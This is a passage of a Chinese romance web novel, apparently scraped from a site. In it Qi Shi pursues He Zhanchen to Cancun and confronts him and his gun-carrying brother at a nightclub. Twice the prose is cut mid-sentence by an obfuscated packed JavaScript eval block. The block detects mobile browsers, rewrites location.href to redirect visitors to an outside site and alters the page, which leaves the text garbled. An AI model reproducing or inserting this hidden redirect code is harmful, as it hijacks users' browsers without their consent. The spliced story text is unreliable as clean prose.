二十分钟后,他读完所有内容,意识到这是一份完全利于何老大的文件。 干燥的指腹摩挲着光滑的纸页,他思量片刻,抬头问:“何老三知道这事儿么?” 何闽轩诚实道:“不知道。” “那何老二呢?” “不知道。” “那何太太也不知道了?” “是的。” 戚时一笑:“我说呢,一个个都赶到国外去了,留在家里的净是些没成年的小孩儿,你父亲都已经为你做到这种程度了,你还怕什么?” 何闽轩浅浅一笑:“你大概不会懂,你是个从小就有倚仗的人,可对我来说,我只做稳操胜券的事。” 戚时点点头,钱倒是小事,他多少理解何老大的难处,于是没怎么犹豫就拿笔签了。 随口问着:“你忌惮老二我理解,何湛程那小子没权没势的,你怕他个鸟?” 何闽轩揉着眉心:“他为非作歹的本事想必你也领教过了,我觉得不用我多说了。” 戚时写完搁下笔,不太赞同地抬头:“他早晚要知道。” 何闽轩淡淡地说:“你愿意的话,你可以去告诉他。” 戚时不可思议地手指了下自己,问:“我?我算老几?” 何闽轩微笑:“你是最适合告诉他的人。” 戚时满头粗线问号:“为啥?” 何闽轩:“因为他最近还算乖,我不想他再恨我。” 戚时:“……” 他们哥几个搞兄弟情深,然后就这么不负责任的把屎盆子往他戚老二身上扣是吧? 文件一式两份,戚时都扔给何老大了,说等他回京了再派律师来取走,双手拢了下风衣,起身就要走。 “好,”何闽轩也起身送客,“希望我们以后常来往。” 戚时拉开门,扭头看他:“现在可以说了吧,你们家老三搁哪儿逍遥呢?” 何闽轩笑:“墨西哥。” “墨西哥的哪儿?” “老二在墨西哥附近买了座岛,正在监工建度假村,那地方离坎昆很近,你可以去找找,当然我不保证他们一定在那儿,这两个小子都太爱玩儿了。” “行,我知道了。”戚时气势汹汹就往外走。 “诶,那个——!” 戚时回过头,挑眉:“咋?” 何闽轩不太放心道:“请你有点儿分寸。” 戚时大手一挥,安抚道:“放心,我一定会把他当亲弟弟疼的!” 嗯,疼得人死去活来的那种疼。 36. 第36章 北纬21.1619°,西经86.8515°。 墨西哥尤卡坦半岛东北端,金塔纳罗奥州,坎昆沿岸。 白色的沙滩,微风吹拂,椰子树与加勒比银棕榈的叶子摇摆不停,午后阳光灿烂,粼粼波光浮动在清透的蒂芙尼蓝水面,一个身姿修长、通体白皙的亚洲面孔,戴着墨镜,上身竖橘纹短衫敞着怀,下身碎花沙滩大裤衩,正懒洋洋躺在桨板上,任自己在一望无际的海域里惬意地漂浮。 忽地,由远及近,一阵轰隆隆的摩托艇响渐渐迫近,车尾一路飙飞起数丈水花,毫不减速、显然目标明确地朝这边袭来! 桨板上的人被这聒噪声音吵得不耐烦,腾地一下坐起,刚抬手摘掉墨镜,还没发飙,对方就先驾着那辆体型庞大的漆黑摩托艇浇他一身水。 无缘无故,飞来横灾,他整个人湿成落汤鸡。 “Surprise!!凉不凉快?”对方情绪激昂亢奋地骑着摩托艇绕着他转圈,笑喊道:“给你的日光浴加点盐!不用谢!” 何湛程恨恨一抹脸,仰头瞪着眼前这个全身裸到就剩个四角泳裤的肌肉猛男: “何棣坤!你他妈有病吧!” 真是晦气,在国内受他大哥欺负,在国外还要受他二哥的折腾,早知道这样,他还不如去瑞士找他妈呢!他妈撑死也就念叨他两句,能比何棣坤这个闲得蛋疼的神经病隔三差五就恶作剧他来的受罪? 何棣坤笑嘻嘻凑过来:“干嘛啊你,真生气了?我再不来找你,你都要漂到外海去了,等晚上吃饭找不着人,我还得再派直升机捞你去,多麻烦!” 何湛程一怔,环顾四望,四周皆是无边无际的海水,方圆数里看不见半个游客,浆板底下的海水颜色渐渐从蒂芙尼蓝化为深翡翠色,再远处,是怒浪滔滔、深邃不见底的加勒比海洋。 他冷哼一声,甩了甩湿淋淋的墨镜,戴到头顶,冲人喊:“我自己不会游泳?用得着你救?你是救我来了,还是淹死我来了?” 何棣坤挑眉:“我还没问你呢,你这几天都想什么呢,心不在焉的,带你去哪儿玩儿都那么扫兴,怎么,你最近被老大带的,脾气又开始随老大了?” “你管得着么,”何湛程烦躁躁的,向人伸出手,“过来拉我!” 何棣坤“诶哟”一声,偏不拉他,忽地一闪,骑着摩托艇跑远了,笑哈哈冲他喊:“你求我啊!你求我,我就拉你!” 何湛程气得一笑,骂了句“去你妈的”,摘下墨镜扔浆板上,两三下脱了短衫,纵身一跃,跳进海里了。 “我艹!” 何棣坤吓了一跳,忙奔过来救人,但见人身姿笔挺,动作那么帅气地划着水,完全是标准自由泳姿,他突然又意识到他家老三貌似是游泳健将来着。 何棣坤笑眼一弯,优哉游哉地驾驶着摩托艇,故意绕在游泳健将身边,左边飞一圈,右边又飞一圈,和人唠嗑:“诶,老三,咱俩比比谁的水花大,怎么样?” 游泳健将百忙之中回他一句:“滚!” 何棣坤探头问:“诶对了,你这不都从燕京回来了吗,老大咋还没给你把卡解冻啊?” 游泳健将冷哼一声,又回一句:“滚!” 说起这个他就来气,他好容易从燕京回一趟家,找他大哥软磨硬泡了大半天,他大哥那个态度就跟茅坑里的石头一样,又臭又硬,死活不松嘴,非让他亲自找戚老二道歉了才肯解冻,还说什么做人要懂得承担责任,巴拉巴拉的,烦死了! 他是想死了才会主动再找戚老二。 他大哥分明就是故意整他! 不然,他能大老远跑来墨西哥找何老二负责他的吃喝拉撒? 老二答应他大哥不能给他钱花,但吃喝住行上倒是没亏着他,可总这样下去也不是办法。 何湛程一边游,一边思考,连老二都手握好几个项目,还即将在海外经营度假村,他也得赶紧想法子赚钱养活自己才行,如果他要一辈子像现在这样,天天靠人脸色吃饭,那不得憋屈死? “诶,”旁边人又好奇问他,“怪不得你这几天都不下水,你后背那么多抓痕哪来的?啧,瞧瞧,这一道子一道子的,血都抓出来了,我哪个弟妹这么狠,给你挠成这样啊?” “老二,”何湛程瞥他一眼,“我现在就给你两个选择,一,闭嘴滚蛋;二,闭嘴,然后把我拉上去。” 何棣坤颇为识相地伸出手臂,把人给拉后车座上去了,然后挥臂一抽,甩给何湛程一条干毛巾。 何湛程接过毛巾擦了把脸,纳闷问:“你裸奔来的,哪来的毛巾?” 何棣坤嘻嘻笑:“垫屁股坐的,不然太咯蛋,刚放了个屁来着,你闻闻香不香?” 何湛程“哦”了声,认真将毛巾一叠,低头往上面吐了十多口唾沫,动作飞快地捂住了前边人的嘴。 “你也闻闻,香不香。” 何棣坤嫌弃的不行,挣扎两下没能挣脱,于是两手攥紧车把,身子猛地一斜,歪着摩托艇贴着水面一路狂飚,轰隆隆噪音震耳欲聋,激起无数水花,意图将身后人再度扔进海里。 何湛程险些重心不稳,立刻扔掉毛巾,两手一抓,死命往上一提他二哥胯间的薄薄一层速干泳裤,仰头大喊:“冲啊——!!!” 何棣坤:“……” 不出一分钟,水面重归风平浪静,哥俩开启和平谈话: “老三,手下留情,哥往后征战四方不能没有这两颗蛋。” “求我。” “求你。” “叫我啥?” “我亲爱的宇宙无敌可爱善良的天使般的弟弟。” “不对,还差俩。” “帅气的、倜傥的。” 何湛程满意了,啪的松开双手,贴肤的泳裤在身前半裸男挺翘的后臀上弹了一下。 不知怎么,何湛程突然有点伤心。 “二哥。”他忽然说。 何棣坤愣了一下,猛地刹车,扭头问:“咋啦?” 他们家老三从小就调皮捣蛋,性子也傲,从八岁起就没再喊过他二哥了,毕竟是一母同胞,老三忽然来这一声,喊得他居然有点小感动。 何棣坤语气不自觉慈爱几分,问:“怎么了,心情不好?二哥再带你玩儿点别的?” 何湛程抬头,神情真挚地问:“哥,你在外面做过零吗?第一次的时候,是更疼一点,还是更爽一点?” 何棣坤:“……” 忽地举手探头,认真环顾一圈四周。 嗯,水浅,快靠岸了。 冷不丁一抬脚,想也不想就给何老三踹海里去了。 “艹!” 水上、水下,二人不约而同冲对方一声骂。 晚饭还是要一起吃的。 傍晚时分,华灯初上,沿岸鳞次栉比的度假酒店进出着来自世界各地的游客。 长街尽头,私人海景别墅大露台,白墙蓝瓦,纱幔飘飘,椰影婆娑,远天金粉霞光渐被暗沉暮色遮掩,近处海岸荡着清水波浪,不断冲刷着海滩细白的沙。 哥俩坐在露台餐桌上,默契举起酒杯相碰,刀叉切割着餐盘里的牛肋排和野生龙尾虾,不时进行几句交谈。 “我敢打赌,”何棣坤大口嚼着肉,“你在燕京一定有艳遇!” “我也敢打赌,”何湛程头也不抬,埋脸进食,“你是失恋了才跑来这边搞工程,还故意把自个儿晒得跟条泥鳅似的,咋,把你那一身腱子肉晒黑了,就显得你更男人了?” “你懂个屁,这叫美黑!” 何棣坤一脸骄傲地举起胳膊,向何湛程炫耀着他饱满结实的肱二头肌,说:“现在欧美这边就流行小麦肤,我这是紧跟时尚潮流。” “呵!把自己搞得乱七八糟的,也没见你把人留住啊。” “你不也是么?你那个高材生小帅哥呢,没带出来一起玩儿?” “你管得还挺宽,人家上学呢。” “哦,那你啥时候回去上学?” “高兴了就去上。” “去燕京?” “不,回纽约。” “我以为你喜欢燕京。” “你找抽呢?” 何棣坤一笑,伸手揉了揉他脑袋,说:“行了,天涯何处无芳草,这个难操咱就换个人操,晚会儿我叫点儿人来热闹热闹,还有咱家在加州念书的那几个小兔崽子,他们知道你来墨西哥了,都吵着闹着要飞来这边找你玩儿呢,你高兴点儿,嗯?” 何湛程食不知味地咀嚼着:“知道了。” 凌晨三点半,星空寂静,何棣坤海景别墅二楼炸起震天响的摇滚乐。 据那几位从加州伯克利飞来的、何家旁支的小辈子弟称,这是他们倾情献给三哥的自编曲目,叫《Fuck You Baby》,汲取重金属、朋克、垃圾摇滚等多流派艺术形式,兼具迷幻与狂野摇滚风,堪称匠心巨作! 然后他们就接到住在同街大老远的酒店旅客连续三次的报警投诉,一腔燃烧着熊熊之火意图炫耀的小心思被毫无艺术情操的旅客泼了好几盆冷水,凌晨四点才被迫消停下来。 “得,”何湛程经过他们五个人,毫不客气一人弹一个大脑崩,“我也给你们几个编个曲,回敬你、你、你、还有你俩音都爬不准的天才!” 天才一号笑嘻嘻的:“三哥你不能怪我们,我俩还是新手呢!” 天才二号也哼道:“就是,我俩平时学习那么忙,哪能跟你这个大闲人似的有空天天练。” 何湛程“诶哟”一声,一把搂住人脖子,勒得人死紧:“你哪只眼看着我天天摸吉他贝斯了?” 二号挣扎着,抬下巴冲整个party一绕:“二哥家里摆这么多好东西,不是给你玩儿的?” 何棣坤正搁沙发上左拥右抱,跟两个金发碧眼的性感女郎在调情,猝不及防被点名,扭过头往这边瞧,嘴里还叼着个威士忌酒杯,口齿不清道:“还真没,我自己弄来玩儿的,他天天睡大觉来着。” 天才一号“嘶”了一声,扭头问何湛程:“三哥你咋啦,病了?” 天才二号也“嘶”一声,意识到重大问题:“对哦,三哥你一整晚都没带个伴儿,好奇怪啊!” 何湛程冷哼一声,挥臂将他们都推开,一屁股坐在角落的钢琴凳上。 手指漫不经心地调着音,头也不回道:“哥这首《再见,摩天轮》,今晚就献给你们这群满脑子音乐细菌的傻叉了,不用谢。” 天才一号笑起来:“哥,你不对劲,怎么偷偷背着我们几个换风格了?” 天才二号及时补刀:“对啊,你这名字听起来像失恋的中二病才会弹的口水歌。” 何湛程双手放琴键上,闭眼,微笑:“都给我闭嘴。” 偌大室内,六十多个俊男靓女,共舞的、说笑的、喝酒的、调情的、接吻的……都安静了。 似乎是这场盛大party的谢幕,氛围灯的光影缓缓流转,转过堆满红金黑绿各色酒瓶的玻璃酒台、转过墨西哥男人魁梧臂膀上的玛雅图腾刺青、转过金发佳人露背的晚礼服,转过成群坐在吧台的半裸青年淡绿色的深瞳、转过依偎在别墅主人怀里女郎的比基尼肩带、转过摇滚少年手中的架子鼓槌…… 转过—— 身姿笔挺地端坐在房间角落里沉浸式奏乐的人。 薄薄的月光透过纱幔,拂过他安详宁静的脸庞,梳理着他乌黑的发丝,瀑布般,从他宽而薄的肩膀倾泻而下,将他藏在暗影下的修长背影染得清澈透亮。 手指是苍白的、忘我的、乱中有序的,无声倾注到冰冷的黑白键里,弹奏出的乐章仿佛就有了温度,像跌倒,像叩问,像一颗傲慢的心,时而如针细腻,欲语还休;时而裹挟雷电,怒意滔滔;时而情真意切,似乎在黯然神伤;时而又冷漠决绝,刻薄到骨子里的气韵瘆得人如坐针毡…… 天才一号评价说,三哥这首曲子像天气预报,阴晴风雷雨雪霜,风格多变,叫人捉摸不透他究竟是以何种心情弹奏的,难评,更难猜; 天才二号说不对,三哥这曲子其实特别好猜,因为他一会儿高兴,一会儿又不高兴,一会儿甜蜜的像在谈恋爱,一会儿又恨不得要杀人,就像个喜怒无常的神经病,完全就是三哥的做派! 没料这话进到三哥耳朵里,那人忽地站起身,嘴角噙着笑意,踱步朝他俩走过来。 俩天才以为他们又要挨打,齐刷刷埋头缩成鸵鸟,没料三哥抬起手,分别大力地拍了拍他俩的肩膀。 俩天才瞬间就顿悟了。 虽然三哥一句话没说,但这显然是表扬他们的意思。 能得到三哥这种全能型玩咖的赞赏,二人不禁沾沾自喜起来,冲三哥嘿嘿笑了两声。 三哥也冲他们嘿嘿笑两声,好哥俩似的,姿势亲昵地搂着他俩,和蔼地问:“你俩有零花钱没?打我个十万八万的,我卡被冻结了。” 俩天才:“……” 对方自顾自掏出手机,打了个响指:“哦对了,给我按美金算。” 俩天才好容易翘课跑出来玩一趟,莫名其妙就被人给宰了一顿,次日上午临走前还嘟嘟囔囔地抱怨,说下次他们要带一堆同学来找三哥玩儿,三哥得包他们所有人的吃喝玩乐才行。 “没问题!” 刚抢劫成功二十万美金的三哥心情愉悦,一身骚红短衫配大绿裤衩,笑容灿烂地站在机场,冲他们招手告别:“拜拜!” 正午日上三竿,闹腾了整夜的何家哥俩窝在别墅空调房里补觉。 何棣坤住二楼主卧,何湛程住三楼客房,俩人少碰面就少干架,互不打扰各自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409045|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安好,快傍晚时分,何湛程睡眼惺忪,人还没全醒,床上就爬过来两个扒他裤子的比基尼女人。 一看就知道是谁的手笔。 何湛程稍微犹豫了下,一反常态,挥手把她们赶走了。 十分钟后,何棣坤敲响他房门,关切地询问他是不是年纪轻轻就萎了。 何湛程埋头缩在被窝里,不客气吼人一句滚。 门外人笑嘻嘻: “咋,岁数到了,你小老二开始认主了?” “去你妈的!” “我妈就是你妈,你问候你妈,不孝子!” “滚啊,别烦我。” “走啊!走啊!”何棣坤开始噼里啪啦地敲门,“大好的青春!睡饱了咱们接着出去玩啊!好容易你来一趟,别扫我兴啊!” “不去!”何湛程烦的不行,“不是沙子就是水,没什么好看的,腻了!” “不在坎昆了,”何棣坤喊,“我叫人备了车,再飞俩小时飞机,咱俩去墨西哥城蹦迪去,哥给你整俩男模,快起来!” 何湛程这才算找回点儿精气神。 懒洋洋地打了个哈欠,挠着鸡窝头去给人开门。 “要浓眉大眼八块腹肌腿长屁股翘的,比我高也行,不要矮子不要小白脸,不准啃我嘴。”他说。 “行啊!”何棣坤笑哈哈一把揽住何湛程肩膀,搂着人下楼:“这才对嘛!就为了个萍水相逢的路人,把自己搞得魂儿都没了,至于么!” 何湛程翘了下嘴角。 他也觉得自己实在不像话。 一把挽上对方手臂,扭头冲人笑:“二哥,谢谢你啊。” 何棣坤哼笑一声,大力揉了两把他头:“你小子最好是真心的。” 何湛程甜甜地卖乖:“当然了,我以后都叫你二哥了,好不好?” “行啊!” “二哥!” “诶!” “二哥!” “诶!” “二哥!” “你逗狗呢?” 夕阳西下,落日熔金。 沿海岸微风吹拂,咸湿的空气混杂着棕榈树与椰子的清香,一辆加长版敞篷超跑犹如一道黑色闪电,满载宾客,风驰电掣乘一路绮丽霞光,向西南方向进发。 “Fuck love!!” 浓密的头发在疾风中凌乱,两个混世魔王脚踩在真皮车座上,抱着单瓶价为两千美元的Salon沙龙香槟互喷,逆风大笑,纵声狂喊。 “Fuck love!!”众人欢腾举杯,放肆陶醉在这激情无限的金色傍晚。 凌晨两点半,烟雾迷幻,灯红酒绿。 夜店人头攒动,令人上瘾的重金属摇滚震耳欲聋。 激光四射,舞池沸腾,台上DJ纵情呐喊,底下尖叫声不断,动感强劲的乐声笼罩着整座废旧工业风的地下酒吧,调酒师笑着在吧台递出今晚第无数杯烈焰龙舌兰,不经意,擦肩而过一位深棕鬈发的哥伦比亚美人,头戴红牛帽的大力士疯狂摇晃着信仰的旗帜,打扮潮流怪异的青年,男男女女喝得烂醉,谁也辨不清谁,疯疯癫癫,抱在一起甩头摆尾地摇。 何湛程也沉沦其中,摇头晃脑地哼歌跳舞。 他今晚新做了锡纸烫,外套是件挂着两条银色锁链的机车皮衣,里面裸着,脖颈戴一圈古巴项链,呼吸间,硬挺的胸肌与腹肌起伏,后背流畅的线条延展至劲瘦侧腰,露出几条血红色的、结痂的抓痕。 他低着头,嘴里叼着根电子烟,左拥右抱着两个腿长臀翘的混血男人,挤在人群里,沾着伏特加酒液的鲜红唇角流溢出浓密的烟雾,他闭着眼,贪恋地嗅着,忘我般随人群晃动着。 怀里两个新宠,揽在左臂弯间的,眼珠幽蓝,薄唇粉红,笑起来十分俏皮性感,是近几年跻身好莱坞的新生代演员;右手搂着人腰肢的,鹰鼻深目,俊美无俦,是中东与拉美的混血模特。 他搂着他们,他们也亲昵地拥着他,奔放又热情,几次贴过来想吻他,被他避过了。 “东方人都像你这么保守吗?”蓝眼睛一眨一眨的,清脆的英文像连串蹦出的珍珠,好奇问他:“但是你哥哥看起来并不是这样。” 何湛程轻笑,缓缓抬起下巴,冲蓝眼睛的脸上轻喷出一口薄烟,那是让他闭嘴的意思。 于是蓝眼睛很懂事的不再问起。 何湛程侧头,余光一瞥,人群对面,何老二正忘情地拥着那位深棕鬈发的拉丁美人,和她缠绵热吻。 真好。 他想。 真洒脱。 可两条陌生的舌头湿淋淋地缠在一起,不恶心么? 一想到某个和无数人接过无数次吻的人,自己也同他接过无数次的吻,何湛程就觉得恶心。 他倒没什么处女情结,只是分手后回想起来,很厌恶自己当初的不谨慎。 色令智昏了,他想。 然后就是新一轮的摇滚串烧、烟雾升腾的热舞摇摆。 台上打碟的DJ是墨西哥城小有名气的乐队男歌手,三十来岁,活力四射,他摘下话筒喊麦,打手势与台下互动,他喊一句,底下人喊一句,夜店氛围很快就被他再度炒热起来。 挺好玩的。 何湛程懒洋洋地仰起头,正准备也朝上面来一嗓子,刚拿下电子烟,还没张口,一只冰凉发汗的粗糙大手从不知名处冒出,果断狠厉,猛地扼住他后颈,一点点收紧,几乎将他颈骨攥碎。 “艹……”啪的一声,电子烟掉落在地,转眼就被熙攘人群凌乱的舞步踩烂,何湛程瞳孔倏地缩小,视野中晃动拥挤的人群逐渐模糊起来。 他在一刹间失声。 带来的俩男模还在原地傻啦吧唧地摇呢,对他濒死的状况毫无察觉,何湛程又慌又懵,他想不明白像自己这种清纯无辜的美少男怎么会在夜店这种天堂级别的美好地方被恐怖分子盯上了,他又不是在竞选美国总统?! 下意识去人群中搜寻何老二的身影,没料身后人忽地松开他后颈,宽大手掌绕到他眼前,覆盖住他下半张脸,倏地一使劲,死死捂住了他的嘴。 另一只肌肉虬结的手臂缠住他腰,霸道地将他禁锢在怀里,却似乎还不满足,忽如大山倾倒,将整个身体重重地压上了他的双肩,把他从头到脚、身前与身后,彻彻底底地包裹起来。 后背猝不及防撞进一个饱满结实的胸膛,鼻尖萦绕着那人身上散发出的淡淡松木清香,何湛程不禁一怔。 这熟悉到骨子里的……令人又爱又恨的气息。 不及他扭头确认,男人温热的嘴唇便轻轻落下,格外暧昧地蹭在他耳边,恶笑低语: “穿的啥啊程儿,没羞没臊的,怎么不连裤子也都脱了啊?这么久了,也不知道给二哥来个电话,我都要想死你了。” 37. 第37章 在作为遥远国度的墨西哥遇见戚老二,不亚于在现代文明社会偶遇一条从侏罗纪公园里跑出来的恐龙。 何湛程一刹间从脚底板激灵到大脑皮层,锡纸烫都吓成了爆炸头。 并且双目呆滞,恍恍惚惚,不敢回头,更丧失语言能力。 戚时心满意足地笑了。 俯身凑在早已吓傻的某人喷香的脸蛋上狠狠咬了一口,牙齿没轻没重地胡嚼一通,又埋头在人脖颈里猛吸两口气。 无法不去迷恋,这比尼古丁还令他上瘾的香味。 然后唰地抬手,把这个到处鬼混的兔崽子的皮衣拉链从底拉到最顶头,将人捂得严严实实。 “你大哥说了,从现在开始,你就是我的了,跟我回国。” 想了想,又说:“不,跟我回燕京。” “你不是喜欢刷马桶么?”戚时揪揪他耳朵,笑容可掬:“我要封你做我的奴隶,以后你就天天在家给我刷马桶好了。” 何湛程:“……” 戚时意得志满地搂着何湛程挤出乱哄哄的舞池,大步昂扬往门口走。 仇敌见面,本该分外眼红,戚时这死变态却又亲又摸的占他便宜,何湛程僵硬的肢体逐渐解冻,立刻挣扎叫喊起来。 “绑架啊!绑架!” “二哥你快来救我!” “Help!iSocorro!iSocorro!” “何老二!!艹!何老二你死哪儿去了!你亲弟弟要被绑架犯掳走了!!!” 毫无作用的求救声,像小石子投入大海,上一秒脱口而出,下一秒就被淹没在高潮不断的音浪里。 “喊谁呢?”戚时将他摁得死死的:“这里只有一个‘二哥’,那就是我。何老三,我说过我不会放过你的吧?” “放开我!”何湛程扭头瞪他:“你这是绑架!” “哦,是么?”戚时挑衅地笑:“那你报警抓我啊。” “戚时!”何湛程愤声喊:“我们已经结束了!你有点儿眼力见儿行不行!我那晚是对你有点过分了,但那又怎么样?难道不是你先拿东西砸我骂我的吗?!我们一来一往,两不相欠,你为什么还要揪着我不放!” “不,”戚时眼神瞬间冷下来,“你那部分结束了,我这一部分还没有。” “我管你有还是没有!”何湛程呸他一口:“我新交的两个男朋友比你帅多了,你当我还像从前那样稀罕你呢?还不快撒手!!” 戚时愠怒,脸色铁青,拽人的动作粗暴起来,又一次毫不怜惜地掐住何湛程的脖子,另一手大力揪住人领口,连拽带踹,赶牲口一般,将人往夜店出口带。 何湛程疼得大脑窒息,嗓子挤不出半点声音,他像条濒死的鱼,不断挣扎扑腾着,心里暗恨戚时缺德没良心,早知道狗男人胆敢这么对待他,他那晚就该下手更重才对! 戚时绕过吧台,阴沉着脸,瞪退两个试图帮忙的红胡子壮汉,才抬腿踏上一阶楼梯,猝不及防,太阳穴忽然被人抵上某种冰冷的金属制物品。 戚时霎间僵在原地。 是一把枪。 从小到大生活在和平国家,他这个身份未曾接触过枪火军械,暴乱与动荡离他的世界如此遥远,而今只身远赴异国,一心只为把人带回,根本没考虑什么安全隐患,当下遇到这种事,第一反应是新奇刺激,第二就觉得自己真他妈的点背。 正要悄悄把兔崽子往怀里揽,好歹能活一个是一个,就听持枪戳在他脑袋上的男人开口: “放开他。” 不是威胁,是居高临下式的吩咐,是根本没考虑他回答“不”的可能。 是和某位无论走到哪儿,都把周遭人当仆从一样使唤的、如出一辙的口气。 戚时立刻松了手,偏过脸,神情复杂地看一眼何湛程—— 不,看一眼这位从小住在三百八十六亩私家庄园的大少爷,身边有这么多人护着他、骄纵他,他不纨绔谁纨绔? 何湛程捂着脖子猛呛几声,看都不看他一眼,迈着大长腿就越过他去,站到持枪男人的身边。 “二哥,赶紧把这傻逼男的赶走。” 戚时哭笑不得。 好好好,原来这才是人家货真价实的二哥,他戚老二又算什么东西? 人家何三少逢场作戏随口称呼他一声,他还真就自作多情上了? 实在可笑。 抬头看那位二哥,一双精眸锐利,满身悍然匪气,典型男人中的男人,却穿着件极艳丽的紫红色液态金属面料的薄衬衫,衣扣全解敞着怀,下腰紧身裤撑得腿长臀翘,俨然又是一位风流的花花公子。 听何老大说,老二何棣坤常驻墨西哥,为人喜怒不定,但格外机敏干练,想必此人没少处理过突发情况,才会在连寻欢作乐时都随身携带枪支。 何棣坤收起他那把格|洛克G18C,别在腰间,眸子一凛,眼尖地注意戚时戴在右腕的沉香珠。 他立刻扭头瞅何湛程,还没发出疑问,何湛程倒先咋咋呼呼地晃他胳膊,使唤着:“老二,你快!快去把我珠子抢回来!” 何棣坤若有所思,探究的视线在戚时与何湛程二人脸上逡巡着,好奇问:“你珠子怎么在他那儿?” 不待人解释,蹭地转头又问戚时:“你是?” 这串沉香珠是不是何湛程的护身符,戚时不确定,但很明显,这是一块他捍卫自己地位的敲门金砖。 风衣一甩,下巴抬起,摆出一副长辈风范,客套地向何棣坤讲明身份,还特地提了一句“你们大哥让我来找他”。 何湛程气得扭头掏手机跑去一边给何闽轩打电话。 该死的老大,居然敢卖他! 这边,何棣坤恍然大悟,方才还凶神恶煞的脸登时绽出一朵俊艳的花,胳膊一抬,亲切地搭住戚时的肩膀,好奇问:“那我是该叫你时兄,还是该叫你弟夫?” 戚时一听“时兄”这两个字就应激,想也不想:“别叫我时兄。” 何棣坤丝滑张口:“好的,弟夫。” 戚时轻咳一声:“也别叫我弟夫,我跟他不是那种关系。” 何棣坤挑眉:“怎么,你不是燕京来的?” 戚时莫名其妙:“是啊。” 何棣坤又问:“我们家老三的护身符,没戴在你手上?” 戚时点点头:“戴了。” 何棣坤一拍大腿:“那还有什么好说的,就是你了!” 戚时云里雾里:“什么就是我?” 何棣坤着急道:“弟夫啊!” 戚时:“………………” 何棣坤今年二十四,比他小整整三岁,被人一顿胡说八道讨口头便宜,他听起来居然还……挺顺耳的。 戚时不再抗议这个称呼,于是问:“那我叫你什么?” 何棣坤大手一挥,大言不惭:“按照我们老何家的规矩,你该随老三叫我一声‘二哥’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409046|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 戚时冷哼一声:“想得美!” 长腿一迈,走去里面,抓住正打电话发疯的某人手腕,拽着人就往外走,经过何棣坤,头也不回:“没什么事的话,何老三我带走了,再会。” 何湛程不停回头,不可置信地瞪着何棣坤喊:“老二!老二!他妈的何棣坤!你是不是人?!你也卖我?!” 何棣坤站在原地,无奈一叉腰,耸了耸肩:“我没办法啊,谁让他是你老婆呢。” 何湛程气得不行,正要破口大骂这两个狼心狗肺的卖弟贼,戚时脚步却蓦地停住,大脑宕机缓了好几秒,忽地一把将何湛程推开,气势汹汹疾步冲过去问何棣坤:“你刚才说什么?” 何棣坤笑眯眯:“弟夫啊,你不是做零的那个吗?” 戚时恼羞成怒,冲人唾液横飞地咆哮:“老子一米九哪里长得像是做零的!!!” 何棣坤闭眼抬手一抹脸,看戏不嫌热闹,下巴冲某只正要缩着脖子逃走的程老鼠一抬:“你老公说的啊,你还是第一次,对不?你看你俩,多纯爱啊!” 戚时三两步又冲过去逮老鼠,一把将何湛程提溜起来,劈头盖脸一通吼:“你脑子是月球做的吗!!什么事都往外说!” 何湛程也闭眼抬手一抹脸,只求保命:“我没说,真的,我只是问他做没做过零。” 戚时根本不信,继续吼他:“那他怎么知道的!!” 何湛程被喷满脸的口水,也瞪着他喊:“他聪明呗!我们家的人都聪明,我有什么办法?!” 戚时冷哼一声,扭头对何棣坤说:“就这一次,但很快就不是了。” 何棣坤嗤笑,根本不信:“不可能,我们何家的男人就没有做零的。” 戚时自尊心受到严重侵犯,将何湛程推到人面前,清清嗓:“你说,你跟他说。” 何湛程装傻充愣:“我说啥?” 戚时瞪他:“说你求着我的那一次。” 何棣坤诧异:“他求你什么?” 何湛程不应,挽住戚时的胳膊就要走:“好了二哥别闹了,我跟你走好了,我们回燕京吧,我给你刷马桶还不行嘛,真是的!” 戚时被拐走了,铁面无情纠正道:“不止给我刷,整栋楼所有的马桶都归你刷。” 何湛程忍着怒火,笑容灿烂:“行,都行,反正我们赶紧离开这个是非之地吧。” 何棣坤才不会放过这么新鲜好玩儿的事,拦臂挡住他们去路,笑眯眯看向何湛程:“老三,你求他什么?” 何湛程正气凛然:“按摩呗,不然呢?” 何棣坤又问戚时。 戚时手背都要被旁边人指甲抠出血了,不情不愿地皱着眉,“嗯……”了一声。 “我知道了,”何棣坤点点头,“但我不太信。” 何湛程冷嗤一声:“我管你信不信!” “所以,”何棣坤站在他俩中间,一胳膊搂一个,笑道:“你们俩谁也不能走。” 戚时皱眉,问了句“为啥”,何湛程倒是没什么大反应,他巴不得继续逍遥人间,谁要回去给戚老二刷马桶。 “因为——” 何棣坤宣布:“我要亲眼看见他求你,我才信!所以,弟夫你就留下来和我们一起度假吧!” “艹!何棣坤你是不是有病!” “艹!何老二你是变态吧?!” 被枪口钳制住的两个人异口同声地骂了出来。 38. 第38章 何棣坤邀请戚时去他海景别墅住,戚时不想跟这种一言不合就拿枪怼自己脑袋的疯子打交道,但又担心他好容易逮住的兔崽子跑了,于是半情不愿地从同街的酒店收拾好行李,火速搬家住到了何老二家里。 是的,他就住在同街的酒店。 来坎昆将近一周,能碰上何湛程纯粹是靠运气。 他不懂西班牙语,英语也说不利索,可他不想告诉身边人他在做什么,只有茉莉帮他订机票和酒店时才知晓他的具体行程,他还对她撒谎,说自己有重大急事出差。 